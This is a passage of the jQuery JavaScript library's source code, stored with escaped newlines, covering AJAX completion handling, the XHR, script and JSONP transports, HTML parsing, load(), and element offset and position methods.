modified,\n\t\t\t\tstatusText = nativeStatusText;\n\n\t\t\t// Ignore repeat invocations\n\t\t\tif ( completed ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tcompleted = true;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\twindow.clearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\t// Determine if successful\n\t\t\tisSuccess = status >= 200 && status < 300 || status === 304;\n\n\t\t\t// Get response data\n\t\t\tif ( responses ) {\n\t\t\t\tresponse = ajaxHandleResponses( s, jqXHR, responses );\n\t\t\t}\n\n\t\t\t// Convert no matter what (that way responseXXX fields are always set)\n\t\t\tresponse = ajaxConvert( s, response, jqXHR, isSuccess );\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( isSuccess ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"Last-Modified\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.lastModified[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"etag\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.etag[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if no content\n\t\t\t\tif ( status === 204 || s.type === \"HEAD\" ) {\n\t\t\t\t\tstatusText = \"nocontent\";\n\n\t\t\t\t// if not modified\n\t\t\t\t} else if ( status === 304 ) {\n\t\t\t\t\tstatusText = \"notmodified\";\n\n\t\t\t\t// If we have data, let's convert it\n\t\t\t\t} else {\n\t\t\t\t\tstatusText = response.state;\n\t\t\t\t\tsuccess = response.data;\n\t\t\t\t\terror = response.error;\n\t\t\t\t\tisSuccess = !error;\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\t// Extract error from statusText and normalize for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( status || !statusText ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t}\n} );\n\njQuery.each( [ \"get\", \"post\" ], function( i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\n\t\t// Shift arguments if data argument was omitted\n\t\tif ( isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\t// The url can be an options object (which then must have .url)\n\t\treturn jQuery.ajax( jQuery.extend( {\n\t\t\turl: url,\n\t\t\ttype: method,\n\t\t\tdataType: type,\n\t\t\tdata: data,\n\t\t\tsuccess: callback\n\t\t}, jQuery.isPlainObject( url ) && url ) );\n\t};\n} );\n\n\njQuery._evalUrl = function( url ) {\n\treturn jQuery.ajax( {\n\t\turl: url,\n\n\t\t// Make this explicit, since user can override this through ajaxSetup (#11264)\n\t\ttype: \"GET\",\n\t\tdataType: \"script\",\n\t\tcache: true,\n\t\tasync: false,\n\t\tglobal: false,\n\t\t\"throws\": true\n\t} );\n};\n\n\njQuery.fn.extend( {\n\twrapAll: function( html ) {\n\t\tvar wrap;\n\n\t\tif ( this[ 0 ] ) {\n\t\t\tif ( isFunction( html ) ) {\n\t\t\t\thtml = html.call( this[ 0 ] );\n\t\t\t}\n\n\t\t\t// The elements to wrap the target around\n\t\t\twrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );\n\n\t\t\tif ( this[ 0 ].parentNode ) {\n\t\t\t\twrap.insertBefore( this[ 0 ] );\n\t\t\t}\n\n\t\t\twrap.map( function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstElementChild ) {\n\t\t\t\t\telem = elem.firstElementChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t} ).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( isFunction( html ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).wrapInner( html.call( this, i ) );\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t} );\n\t},\n\n\twrap: function( html ) {\n\t\tvar htmlIsFunction = isFunction( html );\n\n\t\treturn this.each( function( i ) {\n\t\t\tjQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );\n\t\t} );\n\t},\n\n\tunwrap: function( selector ) {\n\t\tthis.parent( selector ).not( \"body\" ).each( function() {\n\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t} );\n\t\treturn this;\n\t}\n} );\n\n\njQuery.expr.pseudos.hidden = function( elem ) {\n\treturn !jQuery.expr.pseudos.visible( elem );\n};\njQuery.expr.pseudos.visible = function( elem ) {\n\treturn !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );\n};\n\n\n\n\njQuery.ajaxSettings.xhr = function() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch ( e ) {}\n};\n\nvar xhrSuccessStatus = {\n\n\t\t// File protocol always yields status code 0, assume 200\n\t\t0: 200,\n\n\t\t// Support: IE <=9 only\n\t\t// #1450: sometimes IE returns 1223 when it should be 204\n\t\t1223: 204\n\t},\n\txhrSupported = jQuery.ajaxSettings.xhr();\n\nsupport.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\nsupport.ajax = xhrSupported = !!xhrSupported;\n\njQuery.ajaxTransport( function( options ) {\n\tvar callback, errorCallback;\n\n\t// Cross domain only allowed if supported through XMLHttpRequest\n\tif ( support.cors || xhrSupported && !options.crossDomain ) {\n\t\treturn {\n\t\t\tsend: function( headers, complete ) {\n\t\t\t\tvar i,\n\t\t\t\t\txhr = options.xhr();\n\n\t\t\t\txhr.open(\n\t\t\t\t\toptions.type,\n\t\t\t\t\toptions.url,\n\t\t\t\t\toptions.async,\n\t\t\t\t\toptions.username,\n\t\t\t\t\toptions.password\n\t\t\t\t);\n\n\t\t\t\t// Apply custom fields if provided\n\t\t\t\tif ( options.xhrFields ) {\n\t\t\t\t\tfor ( i in options.xhrFields ) {\n\t\t\t\t\t\txhr[ i ] = options.xhrFields[ i ];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Override mime type if needed\n\t\t\t\tif ( options.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\txhr.overrideMimeType( options.mimeType );\n\t\t\t\t}\n\n\t\t\t\t// X-Requested-With header\n\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\tif ( !options.crossDomain && !headers[ \"X-Requested-With\" ] ) {\n\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t}\n\n\t\t\t\t// Set headers\n\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t}\n\n\t\t\t\t// Callback\n\t\t\t\tcallback = function( type ) {\n\t\t\t\t\treturn function() {\n\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\tcallback = errorCallback = xhr.onload =\n\t\t\t\t\t\t\t\txhr.onerror = xhr.onabort = xhr.ontimeout =\n\t\t\t\t\t\t\t\t\txhr.onreadystatechange = null;\n\n\t\t\t\t\t\t\tif ( type === \"abort\" ) {\n\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t} else if ( type === \"error\" ) {\n\n\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t// On a manual native abort, IE9 throws\n\t\t\t\t\t\t\t\t// errors on any property access that is not readyState\n\t\t\t\t\t\t\t\tif ( typeof xhr.status !== \"number\" ) {\n\t\t\t\t\t\t\t\t\tcomplete( 0, \"error\" );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcomplete(\n\n\t\t\t\t\t\t\t\t\t\t// File: protocol always yields status 0; see #8605, #14207\n\t\t\t\t\t\t\t\t\t\txhr.status,\n\t\t\t\t\t\t\t\t\t\txhr.statusText\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tcomplete(\n\t\t\t\t\t\t\t\t\txhrSuccessStatus[ xhr.status ] || xhr.status,\n\t\t\t\t\t\t\t\t\txhr.statusText,\n\n\t\t\t\t\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t\t\t\t\t// IE9 has no XHR2 but throws on binary (trac-11426)\n\t\t\t\t\t\t\t\t\t// For XHR2 non-text, let the caller handle it (gh-2498)\n\t\t\t\t\t\t\t\t\t( xhr.responseType || \"text\" ) !== \"text\" ||\n\t\t\t\t\t\t\t\t\ttypeof xhr.responseText !== \"string\" ?\n\t\t\t\t\t\t\t\t\t\t{ binary: xhr.response } :\n\t\t\t\t\t\t\t\t\t\t{ text: xhr.responseText },\n\t\t\t\t\t\t\t\t\txhr.getAllResponseHeaders()\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t};\n\n\t\t\t\t// Listen to events\n\t\t\t\txhr.onload = callback();\n\t\t\t\terrorCallback = xhr.onerror = xhr.ontimeout = callback( \"error\" );\n\n\t\t\t\t// Support: IE 9 only\n\t\t\t\t// Use onreadystatechange to replace onabort\n\t\t\t\t// to handle uncaught aborts\n\t\t\t\tif ( xhr.onabort !== undefined ) {\n\t\t\t\t\txhr.onabort = errorCallback;\n\t\t\t\t} else {\n\t\t\t\t\txhr.onreadystatechange = function() {\n\n\t\t\t\t\t\t// Check readyState before timeout as it changes\n\t\t\t\t\t\tif ( xhr.readyState === 4 ) {\n\n\t\t\t\t\t\t\t// Allow onerror to be called first,\n\t\t\t\t\t\t\t// but that will not handle a native abort\n\t\t\t\t\t\t\t// Also, save errorCallback to a variable\n\t\t\t\t\t\t\t// as xhr.onerror cannot be accessed\n\t\t\t\t\t\t\twindow.setTimeout( function() {\n\t\t\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\t\t\terrorCallback();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Create the abort callback\n\t\t\t\tcallback = callback( \"abort\" );\n\n\t\t\t\ttry {\n\n\t\t\t\t\t// Do send the request (this may raise an exception)\n\t\t\t\t\txhr.send( options.hasContent && options.data || null );\n\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t// #14683: Only rethrow if this hasn't been notified as an error yet\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\n// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432)\njQuery.ajaxPrefilter( function( s ) {\n\tif ( s.crossDomain ) {\n\t\ts.contents.script = false;\n\t}\n} );\n\n// Install script dataType\njQuery.ajaxSetup( {\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, \" +\n\t\t\t\"application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /\\b(?:java|ecma)script\\b/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n} );\n\n// Handle cache's special case and crossDomain\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t}\n} );\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function( s ) {\n\n\t// This transport only deals with cross domain requests\n\tif ( s.crossDomain ) {\n\t\tvar script, callback;\n\t\treturn {\n\t\t\tsend: function( _, complete ) {\n\t\t\t\tscript = jQuery( \"<script>\" ).prop( {\n\t\t\t\t\tcharset: s.scriptCharset,\n\t\t\t\t\tsrc: s.url\n\t\t\t\t} ).on(\n\t\t\t\t\t\"load error\",\n\t\t\t\t\tcallback = function( evt ) {\n\t\t\t\t\t\tscript.remove();\n\t\t\t\t\t\tcallback = null;\n\t\t\t\t\t\tif ( evt ) {\n\t\t\t\t\t\t\tcomplete( evt.type === \"error\" ? 404 : 200, evt.type );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t);\n\n\t\t\t\t// Use native DOM manipulation to avoid our domManip AJAX trickery\n\t\t\t\tdocument.head.appendChild( script[ 0 ] );\n\t\t\t},\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\nvar oldCallbacks = [],\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\njQuery.ajaxSetup( {\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\tvar callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce++ ) );\n\t\tthis[ callback ] = true;\n\t\treturn callback;\n\t}\n} );\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar callbackName, overwritten, responseContainer,\n\t\tjsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n\t\t\t\"url\" :\n\t\t\ttypeof s.data === \"string\" &&\n\t\t\t\t( s.contentType || \"\" )\n\t\t\t\t\t.indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n\t\t\t\trjsonp.test( s.data ) && \"data\"\n\t\t);\n\n\t// Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n\tif ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n\t\t// Get callback name, remembering preexisting value associated with it\n\t\tcallbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ?\n\t\t\ts.jsonpCallback() :\n\t\t\ts.jsonpCallback;\n\n\t\t// Insert callback into url or form data\n\t\tif ( jsonProp ) {\n\t\t\ts[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n\t\t} else if ( s.jsonp !== false ) {\n\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n\t\t}\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[ \"script json\" ] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( callbackName + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// Force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Install callback\n\t\toverwritten = window[ callbackName ];\n\t\twindow[ callbackName ] = function() {\n\t\t\tresponseContainer = arguments;\n\t\t};\n\n\t\t// Clean-up function (fires after converters)\n\t\tjqXHR.always( function() {\n\n\t\t\t// If previous value didn't exist - remove it\n\t\t\tif ( overwritten === undefined ) {\n\t\t\t\tjQuery( window ).removeProp( callbackName );\n\n\t\t\t// Otherwise restore preexisting value\n\t\t\t} else {\n\t\t\t\twindow[ callbackName ] = overwritten;\n\t\t\t}\n\n\t\t\t// Save back as free\n\t\t\tif ( s[ callbackName ] ) {\n\n\t\t\t\t// Make sure that re-using the options doesn't screw things around\n\t\t\t\ts.jsonpCallback = originalSettings.jsonpCallback;\n\n\t\t\t\t// Save the callback name for future use\n\t\t\t\toldCallbacks.push( callbackName );\n\t\t\t}\n\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && isFunction( overwritten ) ) {\n\t\t\t\toverwritten( responseContainer[ 0 ] );\n\t\t\t}\n\n\t\t\tresponseContainer = overwritten = undefined;\n\t\t} );\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n} );\n\n\n\n\n// Support: Safari 8 only\n// In Safari 8 documents created via document.implementation.createHTMLDocument\n// collapse sibling forms: the second one becomes a child of the first one.\n// Because of that, this security measure has to be disabled in Safari 8.\n// https://bugs.webkit.org/show_bug.cgi?id=137337\nsupport.createHTMLDocument = ( function() {\n\tvar body = document.implementation.createHTMLDocument( \"\" ).body;\n\tbody.innerHTML = \"<form></form><form></form>\";\n\treturn body.childNodes.length === 2;\n} )();\n\n\n// Argument \"data\" should be string of html\n// context (optional): If specified, the fragment will be created in this context,\n// defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\njQuery.parseHTML = function( data, context, keepScripts ) {\n\tif ( typeof data !== \"string\" ) {\n\t\treturn [];\n\t}\n\tif ( typeof context === \"boolean\" ) {\n\t\tkeepScripts = context;\n\t\tcontext = false;\n\t}\n\n\tvar base, parsed, scripts;\n\n\tif ( !context ) {\n\n\t\t// Stop scripts or inline event handlers from being executed immediately\n\t\t// by using document.implementation\n\t\tif ( support.createHTMLDocument ) {\n\t\t\tcontext = document.implementation.createHTMLDocument( \"\" );\n\n\t\t\t// Set the base href for the created document\n\t\t\t// so any parsed elements with URLs\n\t\t\t// are based on the document's URL (gh-2965)\n\t\t\tbase = context.createElement( \"base\" );\n\t\t\tbase.href = document.location.href;\n\t\t\tcontext.head.appendChild( base );\n\t\t} else {\n\t\t\tcontext = document;\n\t\t}\n\t}\n\n\tparsed = rsingleTag.exec( data );\n\tscripts = !keepScripts && [];\n\n\t// Single tag\n\tif ( parsed ) {\n\t\treturn [ context.createElement( parsed[ 1 ] ) ];\n\t}\n\n\tparsed = buildFragment( [ data ], context, scripts );\n\n\tif ( scripts && scripts.length ) {\n\t\tjQuery( scripts ).remove();\n\t}\n\n\treturn jQuery.merge( [], parsed.childNodes );\n};\n\n\n/**\n * Load a url into a page\n */\njQuery.fn.load = function( url, params, callback ) {\n\tvar selector, type, response,\n\t\tself = this,\n\t\toff = url.indexOf( \" \" );\n\n\tif ( off > -1 ) {\n\t\tselector = stripAndCollapse( url.slice( off ) );\n\t\turl = url.slice( 0, off );\n\t}\n\n\t// If it's a function\n\tif ( isFunction( params ) ) {\n\n\t\t// We assume that it's the callback\n\t\tcallback = params;\n\t\tparams = undefined;\n\n\t// Otherwise, build a param string\n\t} else if ( params && typeof params === \"object\" ) {\n\t\ttype = \"POST\";\n\t}\n\n\t// If we have elements to modify, make the request\n\tif ( self.length > 0 ) {\n\t\tjQuery.ajax( {\n\t\t\turl: url,\n\n\t\t\t// If \"type\" variable is undefined, then \"GET\" method will be used.\n\t\t\t// Make value of this field explicit since\n\t\t\t// user can override it through ajaxSetup method\n\t\t\ttype: type || \"GET\",\n\t\t\tdataType: \"html\",\n\t\t\tdata: params\n\t\t} ).done( function( responseText ) {\n\n\t\t\t// Save response for use in complete callback\n\t\t\tresponse = arguments;\n\n\t\t\tself.html( selector ?\n\n\t\t\t\t// If a selector was specified, locate the right elements in a dummy div\n\t\t\t\t// Exclude scripts to avoid IE 'Permission Denied' errors\n\t\t\t\tjQuery( \"<div>\" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n\t\t\t\t// Otherwise use the full result\n\t\t\t\tresponseText );\n\n\t\t// If the request succeeds, this function gets \"data\", \"status\", \"jqXHR\"\n\t\t// but they are ignored because response was set above.\n\t\t// If it fails, this function gets \"jqXHR\", \"status\", \"error\"\n\t\t} ).always( callback && function( jqXHR, status ) {\n\t\t\tself.each( function() {\n\t\t\t\tcallback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] );\n\t\t\t} );\n\t\t} );\n\t}\n\n\treturn this;\n};\n\n\n\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( [\n\t\"ajaxStart\",\n\t\"ajaxStop\",\n\t\"ajaxComplete\",\n\t\"ajaxError\",\n\t\"ajaxSuccess\",\n\t\"ajaxSend\"\n], function( i, type ) {\n\tjQuery.fn[ type ] = function( fn ) {\n\t\treturn this.on( type, fn );\n\t};\n} );\n\n\n\n\njQuery.expr.pseudos.animated = function( elem ) {\n\treturn jQuery.grep( jQuery.timers, function( fn ) {\n\t\treturn elem === fn.elem;\n\t} ).length;\n};\n\n\n\n\njQuery.offset = {\n\tsetOffset: function( elem, options, i ) {\n\t\tvar curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n\t\t\tposition = jQuery.css( elem, \"position\" ),\n\t\t\tcurElem = jQuery( elem ),\n\t\t\tprops = {};\n\n\t\t// Set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tcurOffset = curElem.offset();\n\t\tcurCSSTop = jQuery.css( elem, \"top\" );\n\t\tcurCSSLeft = jQuery.css( elem, \"left\" );\n\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n\t\t\t( curCSSTop + curCSSLeft ).indexOf( \"auto\" ) > -1;\n\n\t\t// Need to be able to calculate position if either\n\t\t// top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( isFunction( options ) ) {\n\n\t\t\t// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)\n\t\t\toptions = options.call( elem, i, jQuery.extend( {}, curOffset ) );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\njQuery.fn.extend( {\n\n\t// offset() relates an element's border box to the document origin\n\toffset: function( options ) {\n\n\t\t// Preserve chaining for setter\n\t\tif ( arguments.length ) {\n\t\t\treturn options === undefined ?\n\t\t\t\tthis :\n\t\t\t\tthis.each( function( i ) {\n\t\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t\t} );\n\t\t}\n\n\t\tvar rect, win,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !elem ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Return zeros for disconnected and hidden (display: none) elements (gh-2310)\n\t\t// Support: IE <=11 only\n\t\t// Running getBoundingClientRect on a\n\t\t// disconnected node in IE throws an error\n\t\tif ( !elem.getClientRects().length ) {\n\t\t\treturn { top: 0, left: 0 };\n\t\t}\n\n\t\t// Get document-relative position by adding viewport scroll to viewport-relative gBCR\n\t\trect = elem.getBoundingClientRect();\n\t\twin = elem.ownerDocument.defaultView;\n\t\treturn {\n\t\t\ttop: rect.top + win.pageYOffset,\n\t\t\tleft: rect.left + win.pageXOffset\n\t\t};\n\t},\n\n\t// position() relates an element's margin box to its offset parent's padding box\n\t// This corresponds to the behavior of CSS absolute positioning\n\tposition: function() {\n\t\tif ( !this[ 0 ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar offsetParent, offset, doc,\n\t\t\telem = this[ 0 ],\n\t\t\tparentOffset = { top: 0, left: 0 };\n\n\t\t// position:fixed elements are offset from the viewport, which itself always has zero offset\n\t\tif ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\n\t\t\t// Assume position:fixed implies availability of getBoundingClientRect\n\t\t\toffset = elem.getBoundingClientRect();\n\n\t\t} else {\n\t\t\toffset = this.offset();\n\n\t\t\t// Account for the *real* offset parent, which can be the document or its root element\n\t\t\t// when a statically positioned element is identified\n\t\t\tdoc = elem.ownerDocument;\n\t\t\toffsetParent = elem.offsetParent || doc.documentElement;\n\t\t\twhile ( offsetParent &&\n\t\t\t\t( offsetParent === doc.body || offsetParent === doc.documentElement ) &&\n\t\t\t\tjQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\n\t\t\t\toffsetParent = offsetParent.parentNode;\n\t\t\t}\n\t\t\tif ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) {\n\n\t\t\t\t// Incorporate borders into its offset, since they are outside its content origin\n\t\t\t\tparentOffset = jQuery( offsetParent ).offset();\n\t\t\t\tparentOffset.top += jQuery.css( offsetParent, \"borderTopWidth\", true );\n\t\t\t\tparentOffset.left += jQuery.css( offsetParent, \"borderLeftWidth\", true );\n\t\t\t}\n\t\t}\n\n\t\t// Subtract parent offsets and element margins\n\t\treturn {\n\t\t\ttop: offset.top - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n\t\t\tleft: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true )\n\t\t};\n\t},\n\n\t// This method will return documentElement in the following cases:\n\t// 1) For the element inside the iframe without offsetParent, this method will return\n\t// documentElement of the parent window\n\t// 2) For the hidden or detached element\n\t// 3) For body or html element, i.e. in case of the html node - it will return itself\n\t//\n\t// but those exceptions were never presented as a real life use-cases\n\t// and might be considered as more preferable results.\n\t//\n\t// This logic, however, is not guaranteed and can change at any point in the future\n\toffsetParent: function() {\n\t\treturn this.map( function() {\n\t\t\tvar offsetParent = this.offsetParent;\n\n\t\t\twhile ( offsetParent && jQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\n\t\t\treturn offsetParent || documentElement;\n\t\t} );\n\t}\n} );\n\n// Create scrollLeft and scrollTop methods\njQuery.each( { scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n\tvar top = \"pageYOffset\" === prop;\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn access( this, function( elem, method, val ) {\n\n\t\t\t// Coalesce documents and windows\n\t\t\tvar win;\n\t\t\tif ( isWindow( elem ) ) {\n\t\t\t\twin = elem;\n\t\t\t} else if ( elem.nodeType === 9 ) {\n\t\t\t\twin = elem.defaultView;\n\t\t\t}\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? win[ prop ] : elem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : win.pageXOffset,\n\t\t\t\t\ttop ? val : win.pageYOffset\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length );\n\t};\n} );\n\n// Support: Safari <=7 - 9.1, Chrome <=37 - 49\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347\n// getComputedStyle returns percent when specified for top/left/bottom/right;\n// rather than make the css module depend on the offset module, just check for it here\njQuery.each( [ \"top\", \"left\" ], function( i, prop ) {\n\tjQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n\t\tfunction( elem, computed ) {\n\t\t\tif ( computed ) {\n\t\t\t\tcomputed = curCSS( elem, prop );\n\n\t\t\t\t// If curCSS returns percentage, fallback to offset\n\t\t\t\treturn rnumnonpx.test( computed ) 